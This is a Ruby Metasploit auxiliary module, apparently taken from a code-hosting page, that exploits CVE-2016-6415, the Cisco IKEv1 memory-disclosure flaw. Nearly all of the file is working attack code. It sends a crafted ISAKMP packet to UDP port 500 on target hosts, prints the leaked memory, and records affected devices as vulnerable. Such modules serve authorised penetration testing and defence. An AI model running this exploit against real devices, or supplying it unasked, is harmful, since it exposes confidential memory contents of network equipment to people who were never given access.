101 lines
3.5 KiB
Ruby
101 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco IKE Information Disclosure',
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'Description' => %q{
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A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
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processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software
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could allow an unauthenticated, remote attacker to retrieve memory
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contents, which could lead to the disclosure of confidential information.
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The vulnerability is due to insufficient condition checks in the part
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of the code that handles IKEv1 security negotiation requests.
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An attacker could exploit this vulnerability by sending a crafted IKEv1
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packet to an affected device configured to accept IKEv1 security
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negotiation requests. A successful exploit could allow the attacker
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to retrieve memory contents, which could lead to the disclosure of
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confidential information.
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},
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'Author' => [ 'Nixawk' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2016-6415' ],
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[ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],
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[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],
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[ 'URL', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415' ],
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[ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]
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],
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'DisclosureDate' => 'Sep 29 2016'
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))
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register_options(
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[
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Opt::RPORT(500),
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OptPath.new('PACKETFILE',
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[ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])
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], self.class)
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end
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def run_host(ip)
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begin
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isakmp_pkt = File.read(datastore['PACKETFILE'])
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peer = "#{ip}:#{datastore['RPORT']}"
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udp_sock = Rex::Socket::Udp.create(
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{
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'Context' => { 'Msf' => framework, 'MsfExploit' => self }
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}
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)
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add_socket(udp_sock)
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udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)
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res = udp_sock.get(3)
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return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...
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# Convert non-printable characters to periods
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printable_data = res.gsub(/[^[:print:]]/, '.')
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# Show abbreviated data
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vprint_status("Printable info leaked:\n#{printable_data}")
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chars = res.unpack('C*')
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len = (chars[30].to_s(16) + chars[31].to_s(16)).hex
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return if len <= 0
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print_good("#{peer} - IKE response with leak")
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report_vuln({
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:host => ip,
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:port => datastore['RPORT'],
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:proto => 'udp',
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:name => self.name,
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:refs => self.references,
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:info => "Vulnerable to Cisco IKE Information Disclosure"
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})
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# NETWORK may return the same packet data.
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return if res.length < 2500
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pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
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res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])
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print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md5
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rescue
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ensure
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udp_sock.close
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end
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end
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end
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